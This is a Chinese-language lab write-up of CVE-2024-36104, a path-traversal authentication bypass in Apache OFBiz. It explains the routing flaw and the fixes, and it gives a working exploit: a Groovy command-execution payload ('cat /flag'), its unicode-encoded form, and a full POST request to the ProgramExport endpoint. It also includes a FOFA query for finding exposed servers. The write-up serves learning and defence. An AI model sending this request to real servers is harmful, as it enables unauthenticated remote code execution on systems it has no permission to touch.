春秋云镜-Apache OFBiz路径遍历漏洞(CVE-2024-36104)

漏洞概述

Apache OFBiz是一款基于Java的企业资源计划(ERP)系统,广泛应用于电子商务领域。2024年6月披露的CVE-2024-36104漏洞允许攻击者通过路径遍历绕过身份验证,并利用Groovy脚本执行接口实现​远程代码执行(RCE)​。该漏洞影响Apache OFBiz 18.12.14之前的版本


漏洞影响版本

  • ​受影响版本​​:Apache OFBiz < 18.12.14
  • ​FOFA搜索语法​​:app="Apache_OFBiz"

漏洞原理分析

Apache OFBiz的​​请求路由机制设计缺陷​

1. ​OFBiz的请求路由逻辑​​

Apache OFBiz使用ControlServletControlFilter处理请求路径,其路由规则如下:

  • 默认情况下,请求路径会被解析为:/webtools/control/<endpoint>,其中<endpoint>对应controller.xml中定义的接口。
  • 关键问题​:OFBiz的路径解析逻辑​​未严格校验路径层级​​,导致以下两种请求会被视为等效:
    • 合法路径:/webtools/control/ProgramExport
    • 嵌套路径:/webtools/control/forgotPassword/ProgramExport

2. ​漏洞触发的根本原因​​

(1)​​接口权限控制失效​

  • forgotPassword是公开接口(无需认证),而ProgramExport是需认证的高危接口。
  • 由于路由逻辑缺陷,当用户访问/forgotPassword/ProgramExport时:
    • ​权限检查​​:系统首先检查forgotPassword的权限(允许访问)。
    • ​路由映射​​:后续路径ProgramExport被错误地当作子接口处理,绕过了对ProgramExport本身的权限校验。

(2)​​路径遍历的“简化版”​

  • 漏洞利用中使用的%2e.的URL编码)是显式的路径遍历(/forgotPassword/%2e/%2e/ProgramExport等价于/ProgramExport)。
  • /webtools/control/forgotPassword;/ProgramExport
  • 但直接访问/forgotPassword/ProgramExport能成功,是因为OFBiz的​​路由逻辑自动忽略了中间路径​​,本质上与路径遍历效果相同。

3.​官方修复方式验证​​

在Apache OFBiz 18.12.14版本中,官方通过以下方式修复:

  1. ​严格路径校验​​:要求请求路径必须精确匹配controller.xml中定义的接口,禁止多级路径嵌套。
  2. ​显式权限控制​​:对ProgramExport等敏感接口强制二次鉴权。

漏洞复现步骤

1、访问https://ip:8443/accounting
非本地 localhost 启动,修改请求体Host为localhost才能正常访问

2、请求/webtools/control/forgotPassword/ProgramExport接口,执行代码

-- groovy
throw new Exception('cat /flag'.execute().text);

-- unicode
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Host: localhost:36646
Cookie: JSESSIONID=2A2143A74051B80F86479CE4543B034E.jvm1; OFBiz.Visitor=10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OpenWave/93.4.3797.32
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 306

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b


修复建议

  1. ​官方补丁​​:升级至Apache OFBiz 18.12.14或更高版本
  2. ​临时缓解措施​​:
    • 禁用webtools模块的非必要接口。
    • 配置Web应用防火墙(WAF)拦截包含%2e;的恶意请求。
  3. ​输入过滤​​:对groovyProgram参数实施白名单校验,禁止异常字符。

总结

CVE-2024-36104暴露了Apache OFBiz在路径处理和接口权限设计上的严重缺陷。通过本次复现可看出,攻击者仅需构造简单请求即可实现未授权RCE,威胁等级极高。企业需及时修复漏洞,并加强对外部组件的安全审计。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。